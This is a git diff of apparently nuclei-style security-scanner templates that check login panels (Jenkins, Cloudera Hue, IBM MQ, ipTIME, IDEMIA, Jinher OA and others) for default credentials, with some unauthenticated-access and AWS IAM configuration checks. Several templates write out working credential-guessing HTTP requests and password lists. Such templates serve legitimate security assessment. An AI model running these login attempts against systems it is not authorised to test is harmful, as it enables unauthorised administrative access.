status - status: - - 200 - - - type: word - words: - - "DeviceName" - - "SerialNumber" - - "HardwareVersion" - condition: and - -# digest: 4a0a00473045022100dad2e64cfe1e58f0bad69d1da6ede13447ad1a58f60e8dcb50a1946e8980e63f02203a2282329ce371bf8d213ace5f75e364d5d78dc0dd505b85474bbee7babe5447:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/hue-default-credential-8080.yaml b/poc/auth/hue-default-credential-8080.yaml index d9f73b4d76..44b2307cb8 100644 --- a/poc/auth/hue-default-credential-8080.yaml +++ b/poc/auth/hue-default-credential-8080.yaml @@ -5,22 +5,22 @@ info: author: For3stCo1d severity: high description: Cloudera Hue default admin credentials were discovered. - reference: - - https://github.com/cloudera/hue + reference: https://github.com/cloudera/hue + metadata: + shodan-query: title:"Hue - Welcome to Hue" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - max-request: 8 - shodan-query: title:"Hue - Welcome to Hue" tags: hue,default-login,oss,cloudera -http: +requests: - raw: - | GET /hue/accounts/login?next=/ HTTP/1.1 Host: {{Hostname}} + - | POST /hue/accounts/login HTTP/1.1 Host: {{Hostname}} @@ -35,12 +35,14 @@ http: - hue - hadoop - cloudera + pass: - admin - hue - hadoop - cloudera + cookie-reuse: true extractors: - type: regex name: csrfmiddlewaretoken @@ -49,19 +51,20 @@ http: group: 1 regex: - name='csrfmiddlewaretoken' value='(.+?)' - stop-at-first-match: true + req-condition: true + stop-at-first-match: true matchers-condition: and matchers: - type: dsl dsl: - contains(tolower(body_1), 'welcome to hue') - - contains(tolower(header_2), 'csrftoken=') - - contains(tolower(header_2), 'sessionid=') + - contains(tolower(all_headers_2), 'csrftoken=') + - contains(tolower(all_headers_2), 'sessionid=') condition: and - type: status status: - 302 -# digest: 4a0a00473045022100f246e397d587a35d70dc6a427c61a8c01fccad74514da7b4e34e6ef28624c22902202f545802076fbc9bdfee5f7e04dcfea08004f131c0ba9ec21e92fba257c171a4:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/28 diff --git a/poc/auth/hue-default-credential-8081.yaml b/poc/auth/hue-default-credential-8081.yaml index 71dcb8de6a..d9f73b4d76 100644 --- a/poc/auth/hue-default-credential-8081.yaml +++ b/poc/auth/hue-default-credential-8081.yaml @@ -1,4 +1,5 @@ id: hue-default-credential + info: name: Cloudera Hue Default Admin Login author: For3stCo1d @@ -11,9 +12,11 @@ info: cvss-score: 8.3 cwe-id: CWE-522 metadata: + max-request: 8 shodan-query: title:"Hue - Welcome to Hue" tags: hue,default-login,oss,cloudera -requests: + +http: - raw: - | GET /hue/accounts/login?next=/ HTTP/1.1 @@ -24,6 +27,7 @@ requests: Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken={{csrfmiddlewaretoken}}&username={{user}}&password={{pass}}&next=%2F + attack: pitchfork payloads: user: @@ -36,7 +40,7 @@ requests: - hue - hadoop - cloudera - cookie-reuse: true + extractors: - type: regex name: csrfmiddlewaretoken @@ -45,18 +49,19 @@ requests: group: 1 regex: - name='csrfmiddlewaretoken' value='(.+?)' - req-condition: true stop-at-first-match: true + matchers-condition: and matchers: - type: dsl dsl: - contains(tolower(body_1), 'welcome to hue') - - contains(tolower(all_headers_2), 'csrftoken=') - - contains(tolower(all_headers_2), 'sessionid=') + - contains(tolower(header_2), 'csrftoken=') + - contains(tolower(header_2), 'sessionid=') condition: and + - type: status status: - 302 -# Enhanced by mp on 2022/03/28 +# digest: 4a0a00473045022100f246e397d587a35d70dc6a427c61a8c01fccad74514da7b4e34e6ef28624c22902202f545802076fbc9bdfee5f7e04dcfea08004f131c0ba9ec21e92fba257c171a4:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/iam-db-auth.yaml b/poc/auth/iam-db-auth.yaml new file mode 100644 index 0000000000..c76c5618b5 --- /dev/null +++ b/poc/auth/iam-db-auth.yaml @@ -0,0 +1,56 @@ +id: iam-db-auth +info: + name: IAM Database Authentication + author: princechaddha + severity: medium + description: | + Ensure IAM Database Authentication is enabled for RDS instances, allowing IAM service to manage database access, thereby removing the need to store user credentials within database configurations. + impact: | + Without IAM Database Authentication, database credentials need to be managed internally, increasing the risk of credential leakage and unauthorized access. + remediation: | + Enable IAM Database Authentication for MySQL and PostgreSQL RDS database instances to leverage IAM for secure, token-based access control. + reference: + - https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.html + tags: cloud,devops,aws,amazon,rds,aws-cloud-config + +variables: + region: "ap-northeast-1" + +flow: | + code(1) + for(let DBInstances of iterate(template.instances)){ + set("db", DBInstances) + code(2) + } + +self-contained: true +code: + - engine: + - sh + - bash + source: | + aws rds describe-db-instances --region $region --output json --query 'DBInstances[?Engine==`mysql` || Engine==`postgres`].DBInstanceIdentifier | []' + + extractors: + - type: json + name: instances + internal: true + json: + - '.[]' + + - engine: + - sh + - bash + source: | + aws rds describe-db-instances --region $region --db-instance-identifier $db --query 'DBInstances[*].IAMDatabaseAuthenticationEnabled' + + matchers: + - type: word + words: + - 'false' + + extractors: + - type: dsl + dsl: + - '"Database Authentication feature is not enabled for RDS database instance " + db' +# digest: 4a0a00473045022100de421600413f2bb3306a9173334cd465c628dd5a198cec9ebe3bf5a373b4479602200bd9a29ac4bc3efe52763411a53243855f599f703baa22c7292da16898754f12:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/iam-key-rotation-90days.yaml b/poc/auth/iam-key-rotation-90days.yaml new file mode 100644 index 0000000000..e8525012ee --- /dev/null +++ b/poc/auth/iam-key-rotation-90days.yaml @@ -0,0 +1,50 @@ +id: iam-key-rotation-90days +info: + name: IAM Access Key Rotation - 90-Day Policy + author: princechaddha + severity: high + description: | + Checks if IAM user access keys are rotated every 90 days to minimize accidental exposures and unauthorized access risks + reference: + - https://docs.aws.amazon.com/cli/latest/reference/iam/list-access-keys.html + tags: cloud,devops,aws,amazon,iam,aws-cloud-config + +flow: | + code(1) + for(let UserName of iterate(template.users)){ + set("user", UserName) + code(2) + } + +self-contained: true +code: + - engine: + - sh + - bash + source: | + aws iam list-users --query 'Users[*].UserName' + + extractors: + - type: json # type of the extractor + internal: true + name: users + json: + - '.[]' + + - engine: + - sh + - bash + source: | + aws iam list-access-keys --user-name $user | jq -r '.AccessKeyMetadata[] | select((.CreateDate[:-6] | strptime("%Y-%m-%dT%H:%M:%S") | mktime) < (now - (90 * 86400))) | .AccessKeyId' + + extractors: + - type: regex # type of the extractor + name: accesskey + internal: true + regex: + - '^AK.*' + + - type: dsl + dsl: + - '"The IAM Key " + accesskey +" is older than 90 days"' +# digest: 4a0a00473045022100d15b76ce838fa09da565afb9414204e3a5bc5487d1cca1ea4fb3560c339ac6f60220291edc1503af6dfa14709487d50d0eff776aafaaf1d07580cc1199ea21fb48ed:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/iam-ssh-keys-rotation.yaml b/poc/auth/iam-ssh-keys-rotation.yaml new file mode 100644 index 0000000000..ca9e3a8066 --- /dev/null +++ b/poc/auth/iam-ssh-keys-rotation.yaml @@ -0,0 +1,50 @@ +id: iam-ssh-keys-rotation +info: + name: SSH Key Rotation - 90-Day Policy + author: princechaddha + severity: high + description: | + Verifies that IAM SSH public keys are rotated every 90 days, enhancing security and preventing unauthorized access to AWS CodeCommit repositories + reference: + - https://docs.aws.amazon.com/cli/latest/reference/iam/list-ssh-public-keys.html + tags: cloud,devops,aws,amazon,iam,ssh,aws-cloud-config + +flow: | + code(1) + for(let UserName of iterate(template.users)){ + set("user", UserName) + code(2) + } + +self-contained: true +code: + - engine: + - sh + - bash + source: | + aws iam list-users --query 'Users[*].UserName' + + extractors: + - type: json # type of the extractor + internal: true + name: users + json: + - '.[]' + + - engine: + - sh + - bash + source: | + aws iam list-ssh-public-keys --user-name $user | jq -r '.SSHPublicKeys[] | select(.UploadDate | fromdateiso8601 < (now - (90 * 86400))) | .SSHPublicKeyId' + + extractors: + - type: regex # type of the extractor + name: accesskey + internal: true + regex: + - '^AP.*' + + - type: dsl + dsl: + - '"The SSH Public Key " + accesskey +" is older than 90 days"' +# digest: 490a00463044022017e707c66f9a058bd875e7a516d99585a1be526405545647011958874bd784a702201259fdf89b05b2fa171d789e014fe98d7949010ff420be02f0ef7183565544ef:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/ibm-mqseries-default-login-8107.yaml b/poc/auth/ibm-mqseries-default-login-8107.yaml new file mode 100644 index 0000000000..765cde99f4 --- /dev/null +++ b/poc/auth/ibm-mqseries-default-login-8107.yaml @@ -0,0 +1,46 @@ +id: ibm-mqseries-default-login +info: + name: IBM MQSeries Web Console Default Login + author: righettod + severity: high + description: IBM MQ and REST API default admin credentials were discovered. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system. + tags: ibm,default-login + reference: + - https://github.com/ibm-messaging/mq-container/blob/master/etc/mqm/mq.htpasswd + - https://vulners.com/nessus/IBM_MQ_DEFAULT_CREDENTIALS.NASL + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 +requests: + - raw: + - | + POST /ibmmq/console/j_security_check HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Referer: {{RootURL}}/ibmmq/console/login.html + + j_username={{username}}&j_password={{password}} + attack: pitchfork + payloads: + username: + - admin + - app + - mqadmin + password: + - passw0rd + - passw0rd + - mqadmin + matchers-condition: and + matchers: + - type: word + part: header + words: + - "LtpaToken2_" + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/ibm-mqseries-default-login.yaml b/poc/auth/ibm-mqseries-default-login.yaml deleted file mode 100644 index c262127af8..0000000000 --- a/poc/auth/ibm-mqseries-default-login.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: ibm-mqseries-default-login -info: - name: IBM MQSeries web console default login - author: righettod - severity: high - description: The remote host is running IBM MQ and REST API and is using default credentials. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system. - tags: ibm,default-login - reference: - - https://github.com/ibm-messaging/mq-container/blob/master/etc/mqm/mq.htpasswd - - https://vulners.com/nessus/IBM_MQ_DEFAULT_CREDENTIALS.NASL -requests: - - raw: - - | - POST /ibmmq/console/j_security_check HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{RootURL}}/ibmmq/console/login.html - - j_username={{username}}&j_password={{password}} - attack: pitchfork - payloads: - username: - - admin - - app - - mqadmin - password: - - passw0rd - - passw0rd - - mqadmin - matchers-condition: and - matchers: - - type: word - part: header - words: - - "LtpaToken2_" - - type: status - status: - - 302 diff --git a/poc/auth/ibm-note-login-8111.yaml b/poc/auth/ibm-note-login-8110.yaml similarity index 100% rename from poc/auth/ibm-note-login-8111.yaml rename to poc/auth/ibm-note-login-8110.yaml diff --git a/poc/auth/ibm-storage-default-credential-8123.yaml b/poc/auth/ibm-storage-default-credential-8123.yaml index 366094a9af..551f02c9fe 100644 --- a/poc/auth/ibm-storage-default-credential-8123.yaml +++ b/poc/auth/ibm-storage-default-credential-8123.yaml @@ -3,8 +3,16 @@ id: ibm-storage-default-login info: name: IBM Storage Management Default Login author: madrobot - severity: medium + severity: high tags: default-login,ibm,storage + description: IBM Storage Management default admin login credentials were discovered. + reference: + - https://www.ibm.com/docs/en/power-sys-solutions/0008-ESS?topic=5148-starting-elastic-storage-server-management-server-gui + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: @@ -40,3 +48,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/ibm-storage-default-credential-8124.yaml b/poc/auth/ibm-storage-default-credential-8124.yaml index e018689a5d..8b64e0a530 100644 --- a/poc/auth/ibm-storage-default-credential-8124.yaml +++ b/poc/auth/ibm-storage-default-credential-8124.yaml @@ -3,14 +3,15 @@ info: name: IBM Storage Management Default Login author: madrobot severity: high + tags: default-login,ibm,storage description: IBM Storage Management default admin login credentials were discovered. reference: - https://www.ibm.com/docs/en/power-sys-solutions/0008-ESS?topic=5148-starting-elastic-storage-server-management-server-gui classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: default-login,ibm,storage requests: - raw: - | diff --git a/poc/auth/icinga-web-login-8136.yaml b/poc/auth/icinga-web-login-8136.yaml deleted file mode 100644 index b0383b79b2..0000000000 --- a/poc/auth/icinga-web-login-8136.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: icinga-web-login - -info: - name: Icinga Web 2 Login - author: dhiyaneshDK - severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Icinga+Web+2+Login%22 - tags: panel,icinga - -requests: - - method: GET - path: - - '{{BaseURL}}/authentication/login' - - matchers-condition: and - matchers: - - type: word - words: - - "Icinga Web 2 Login" - - type: status - status: - - 200 diff --git a/poc/auth/icinga-web-login-8137.yaml b/poc/auth/icinga-web-login-8137.yaml index 97f59206cb..5602ac406b 100644 --- a/poc/auth/icinga-web-login-8137.yaml +++ b/poc/auth/icinga-web-login-8137.yaml @@ -1,15 +1,18 @@ id: icinga-web-login + info: name: Icinga Web 2 Login author: dhiyaneshDK severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Icinga+Web+2+Login%22 + metadata: + shodan-query: http.title:"Icinga Web 2 Login" tags: panel,icinga + requests: - method: GET path: - '{{BaseURL}}/authentication/login' + matchers-condition: and matchers: - type: word diff --git a/poc/auth/idemia-biometrics-default-login-8138.yaml b/poc/auth/idemia-biometrics-default-login-8138.yaml new file mode 100644 index 0000000000..819cd0e0c3 --- /dev/null +++ b/poc/auth/idemia-biometrics-default-login-8138.yaml @@ -0,0 +1,46 @@ +id: idemia-biometrics-default-login + +info: + name: IDEMIA BIOMetrics Default Login + author: Techryptic (@Tech) + severity: medium + description: IDEMIA BIOMetrics application default login credentials were discovered. + reference: https://www.google.com/search?q=idemia+password%3D+"12345" + tags: idemia,biometrics,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + + password={{password}} + + payloads: + password: + - "12345" + + matchers-condition: and + matchers: + - type: word + condition: and + words: + - "session_id=" + - "resource" + + - type: word + part: body + negative: true + words: + - "Invalid Password" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/idemia-biometrics-default-login-8139.yaml b/poc/auth/idemia-biometrics-default-login-8139.yaml index 1a7ffa1347..29b7b65a90 100644 --- a/poc/auth/idemia-biometrics-default-login-8139.yaml +++ b/poc/auth/idemia-biometrics-default-login-8139.yaml @@ -1,21 +1,32 @@ id: idemia-biometrics-default-login + info: name: IDEMIA BIOMetrics Default Login author: Techryptic (@Tech) - severity: high - description: Default Login of password=12345 on IDEMIA BIOMetrics application. - reference: https://www.google.com/search?q=idemia+password%3D+"12345" + severity: medium + description: IDEMIA BIOMetrics application default login credentials were discovered. + reference: + - https://www.google.com/search?q=idemia+password%3D+"12345" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cwe-id: CWE-522 + metadata: + max-request: 1 tags: idemia,biometrics,default-login -requests: + +http: - raw: - | POST /cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} password={{password}} + payloads: password: - "12345" + matchers-condition: and matchers: - type: word @@ -23,11 +34,15 @@ requests: words: - "session_id=" - "resource" + - type: word part: body negative: true words: - "Invalid Password" + - type: status status: - 200 + +# digest: 4a0a004730450220539ef0738034d87da43eecee0f1fd81fe9deb15937d5d7d05e8a7570514d5c51022100aa5f015c5faa3c67721518b88bcae22c57201d91eacd39d469305e31b140913f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/imgproxy-unauth.yaml b/poc/auth/imgproxy-unauth.yaml new file mode 100644 index 0000000000..5983e67f77 --- /dev/null +++ b/poc/auth/imgproxy-unauth.yaml @@ -0,0 +1,36 @@ +id: imgproxy-unauth + +info: + name: Imgproxy Unauthorized Access + author: userdehghani + severity: low + description: | + imgproxy is a fast and secure standalone server for resizing, processing, and converting images. + remediation: set IMGPROXY_SECRET environment variable. + reference: + - https://docs.imgproxy.net/configuration/options + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + metadata: + verified: true + max-request: 1 + shodan-query: html:"imgproxy" + tags: imgproxy,unauth,misconfig + +variables: + img_url: 'https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Google_2015_logo.svg/375px-Google_2015_logo.svg.png' + +http: + - method: GET + path: + - "{{BaseURL}}/_/resize:fill:10:10:0/gravity:sm/plain/{{img_url}}" + + matchers: + - type: dsl + dsl: + - 'status_code==200' + - 'contains(content_type, "image/png")' + - '("386116288" == mmh3(base64_py(body)))' + condition: and +# digest: 490a0046304402207f4d9df78ca765af9dc185001591fb4b8bd55d95b545a96a8dbba3243c94bc86022062bc7d5358e243a9a43fcca3c3e5e7a9addfa3f57df917e39c3c00fba60c07c4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/inspur-clusterengine-default-login-8162.yaml b/poc/auth/inspur-clusterengine-default-login-8162.yaml index bbda3dd5e1..95694fdd36 100644 --- a/poc/auth/inspur-clusterengine-default-login-8162.yaml +++ b/poc/auth/inspur-clusterengine-default-login-8162.yaml @@ -1,16 +1,18 @@ id: inspur-clusterengine-default-login info: - name: Inspur Clusterengine V4 Default Login + name: Inspur Clusterengine 4 - Default Admin Login author: ritikchaddha severity: high + description: Inspur Clusterengine version 4 default admin login credentials were successful. reference: - https://blog.csdn.net/qq_36197704/article/details/115665793 metadata: + max-request: 1 fofa-query: title="TSCEV4.0" - tags: inspur,clusterengine,default-login + tags: default-login,inspur,clusterengine -requests: +http: - raw: - | POST /login HTTP/1.1 @@ -24,9 +26,9 @@ requests: - admin|pwd password: - 123456 - - redirects: true + host-redirects: true max-redirects: 2 + matchers-condition: and matchers: - type: word @@ -43,3 +45,5 @@ requests: - type: status status: - 200 + +# digest: 4a0a0047304502205a0a7bfae8326d478cff4165b5e1b4ada8d48f6b796c9e9cb65310a6c673bc1b022100ec27eaa708bfd5944f619c4d517ba9b77f0064eff47c13c95da156b9477c7057:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/inspur-clusterengine-default-login.yaml b/poc/auth/inspur-clusterengine-default-login.yaml deleted file mode 100644 index 9606e97674..0000000000 --- a/poc/auth/inspur-clusterengine-default-login.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: inspur-clusterengine-default-login -info: - name: Inspur Clusterengine V4 Default Login - author: ritikchaddha - severity: high - reference: - - https://blog.csdn.net/qq_36197704/article/details/115665793 - metadata: - fofa-query: title="TSCEV4.0" - tags: inspur,clusterengine,default-login -requests: - - raw: - - | - POST /login HTTP/1.1 - Host: {{Hostname}} - - op=login&username={{username}}&password={{password}} - attack: pitchfork - payloads: - username: - - admin|pwd - password: - - 123456 - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"exitcode":0' - - type: word - part: header - words: - - "username=admin|pwd" - condition: and - - type: status - status: - - 200 diff --git a/poc/auth/intelbras-dvr-unauth.yaml b/poc/auth/intelbras-dvr-unauth.yaml new file mode 100644 index 0000000000..8ae6290609 --- /dev/null +++ b/poc/auth/intelbras-dvr-unauth.yaml @@ -0,0 +1,32 @@ +id: intelbras-dvr-unauth + +info: + name: Intelbras DVR - Unrestricted Access + author: pussycat0x + severity: low + description: | + The HTTP GET request to /cap.js on the server Intelbras DVR reveals several potentially sensitive pieces of information that are not properly protected or encrypted. + reference: + - https://github.com/netsecfish/intelbras_cap_js + metadata: + verified: true + fofa-query: body="Intelbras" + tags: unauth,intelbras,dvr,misconfig + +http: + - method: GET + path: + - "{{BaseURL}}/cap.js" + + matchers-condition: and + matchers: + - type: word + words: + - "var talkTypes=" + - "var userInfo=" + condition: and + + - type: status + status: + - 200 +# digest: 4b0a00483046022100b2359609df1fe072500810987d11a7518106d6f42f328fe08e941f6a1ceb5ca5022100b98795795d35f59eb3728e60b4cba5cb6ccecabdf19d800d15c1f3d78e81646c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/iptime-default-login-8194.yaml b/poc/auth/iptime-default-login-8194.yaml index a03c2cf675..de11e4bf3e 100644 --- a/poc/auth/iptime-default-login-8194.yaml +++ b/poc/auth/iptime-default-login-8194.yaml @@ -4,13 +4,14 @@ info: author: gy741 severity: high description: ipTIME default admin credentials were discovered. + tags: iptime,default-login reference: - https://www.freewebtools.com/IPTIME/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: iptime,default-login requests: - raw: - | diff --git a/poc/auth/iptime-default-login.yaml b/poc/auth/iptime-default-login.yaml deleted file mode 100644 index de11e4bf3e..0000000000 --- a/poc/auth/iptime-default-login.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: iptime-default-login -info: - name: ipTIME Default Login - author: gy741 - severity: high - description: ipTIME default admin credentials were discovered. - tags: iptime,default-login - reference: - - https://www.freewebtools.com/IPTIME/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - POST /sess-bin/login_handler.cgi HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}}/sess-bin/login_session.cgi - - username={{username}}&passwd={{password}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "setCookie" - - "efm_session_id" - - "login.cgi" - part: body - condition: and - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/jenkins-default-login.yaml b/poc/auth/jenkins-default-login.yaml index 211cb2dbf7..d5c3b290db 100644 --- a/poc/auth/jenkins-default-login.yaml +++ b/poc/auth/jenkins-default-login.yaml @@ -1,42 +1,43 @@ -id: jenkins-weak-password - -info: - name: Jenkins Default Login - author: Zandros0 - severity: critical - description: Jenkins default admin login information was discovered. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: jenkins,default-login - metadata: - max-request: 3 - -http: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /j_spring_security_check HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - j_username=admin&j_password=admin&from=%2F&Submit=Sign+in - - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_3, "/logout")' - - 'contains(body_3, "Dashboard [Jenkins]")' - condition: and - -# Enhanced by mp on 2022/03/10 \ No newline at end of file +id: jenkins-weak-password +info: + name: Jenkins Weak Password + author: Zandros0 + severity: high + tags: jenkins,default-login +requests: + - raw: + - | + GET /login HTTP/1.1 + Host: {{Hostname}} + - | + POST /j_spring_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: {{cookie}} + + j_username=admin&j_password=admin&from=%2F&Submit=Sign+in + - | + POST /j_spring_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: {{cookie}} + + j_username=jenkins&j_password=password&from=%2F&Submit=Sign+in + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Cookie: {{cookie}} + extractors: + - type: regex + name: cookie + internal: true + part: header + regex: + - 'JSESSIONID\..*=([a-z0-9.]+)' + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_4, "/logout")' + - 'contains(body_4, "Dashboard [Jenkins]")' + condition: and diff --git a/poc/auth/jenkins-login-8277.yaml b/poc/auth/jenkins-login-8277.yaml deleted file mode 100644 index 4a36d85302..0000000000 --- a/poc/auth/jenkins-login-8277.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: jenkins-login -info: - name: Jenkins Login Detected - description: Jenkins is an open source automation server. - author: pdteam - severity: info - tags: panel,jenkins - remediation: Ensure proper access. - reference: https://www.jenkins.io/doc/book/security/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cwe-id: CWE-200 -requests: - - method: GET - path: - - '{{BaseURL}}/login' - matchers-condition: and - matchers: - - type: word - words: - - 'Sign in [Jenkins]' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/10 diff --git a/poc/auth/jenkins-login-detection.yaml b/poc/auth/jenkins-login-detection.yaml new file mode 100644 index 0000000000..0d62dd0d31 --- /dev/null +++ b/poc/auth/jenkins-login-detection.yaml @@ -0,0 +1,30 @@ +id: jenkins-login + +info: + name: Jenkins Login Detected + author: pdteam + severity: info + description: Jenkins is an open source automation server. + reference: + - https://www.jenkins.io/doc/book/security/ + classification: + cwe-id: CWE-200 + remediation: Ensure proper access. + tags: panel,jenkins + metadata: + max-request: 1 + +http: + - method: GET + path: + - '{{BaseURL}}/login' + matchers-condition: and + matchers: + - type: word + words: + - 'Sign in [Jenkins]' + - type: status + status: + - 200 + +# Enhanced by mp on 2022/02/10 \ No newline at end of file diff --git a/poc/auth/jenkins-login.yaml b/poc/auth/jenkins-login.yaml index 0d62dd0d31..cb61d3cd4a 100644 --- a/poc/auth/jenkins-login.yaml +++ b/poc/auth/jenkins-login.yaml @@ -1,30 +1,32 @@ -id: jenkins-login - -info: - name: Jenkins Login Detected - author: pdteam - severity: info - description: Jenkins is an open source automation server. - reference: - - https://www.jenkins.io/doc/book/security/ - classification: - cwe-id: CWE-200 - remediation: Ensure proper access. - tags: panel,jenkins - metadata: - max-request: 1 - -http: - - method: GET - path: - - '{{BaseURL}}/login' - matchers-condition: and - matchers: - - type: word - words: - - 'Sign in [Jenkins]' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/02/10 \ No newline at end of file +id: jenkins-login + +info: + name: Jenkins Login Detected + author: pdteam + severity: info + description: Jenkins is an open source automation server. + remediation: Ensure proper access. + reference: + - https://www.jenkins.io/doc/book/security/ + classification: + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: panel,jenkins + +http: + - method: GET + path: + - '{{BaseURL}}/login' + + matchers-condition: and + matchers: + - type: word + words: + - 'Sign in [Jenkins]' + + - type: status + status: + - 200 + +# digest: 4a0a0047304502200e449779166c85b60ce2c781a152d6285d4b1e32cdd269ff907c991ee5f4cd2d0221009e25adb7443f9130bf3b422e8a703f55446e7899ab759cd29baf027610c7e82f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/jfrog-unauth-build-exposed-8301.yaml b/poc/auth/jfrog-unauth-build-exposed-8301.yaml index 95f977e802..ec0b342990 100644 --- a/poc/auth/jfrog-unauth-build-exposed-8301.yaml +++ b/poc/auth/jfrog-unauth-build-exposed-8301.yaml @@ -4,7 +4,8 @@ info: name: JFrog Unauthentication Builds author: dhiyaneshDK severity: medium - reference: https://github.com/jaeles-project/jaeles-signatures/blob/master/common/jfrog-unauth-build-exposed.yaml + reference: + - https://github.com/jaeles-project/jaeles-signatures/blob/master/common/jfrog-unauth-build-exposed.yaml tags: jfrog requests: diff --git a/poc/auth/jfrog-unauth-build-exposed-8299.yaml b/poc/auth/jfrog-unauth-build-exposed-8302.yaml similarity index 100% rename from poc/auth/jfrog-unauth-build-exposed-8299.yaml rename to poc/auth/jfrog-unauth-build-exposed-8302.yaml diff --git a/poc/auth/jinher-oa-default-login-8311.yaml b/poc/auth/jinher-oa-default-login-8311.yaml new file mode 100644 index 0000000000..91cbc784f4 --- /dev/null +++ b/poc/auth/jinher-oa-default-login-8311.yaml @@ -0,0 +1,52 @@ +id: jinher-oa-default-login + +info: + name: Jinher-OA C6 - Default Admin Discovery + author: ritikchaddha + severity: high + description: Jinher-OA C6 default admin credentials were discovered. + reference: + - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + tags: jinher,default-login + +http: + - raw: + - | + POST /c6/Jhsoft.Web.login/AjaxForLogin.aspx HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + type=login&loginCode={{base64("{{username}}")}}&pwd={{base64("{{password}}")}}& + + attack: pitchfork + payloads: + username: + - admin + password: + - "000000" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "ϵͳ¹ÜÀíÔ±|" + - "ÄúºÃ|||" + condition: and + + - type: word + part: header + words: + - "SessionIDAdmin=" + + - type: status + status: + - 200 + +# digest: 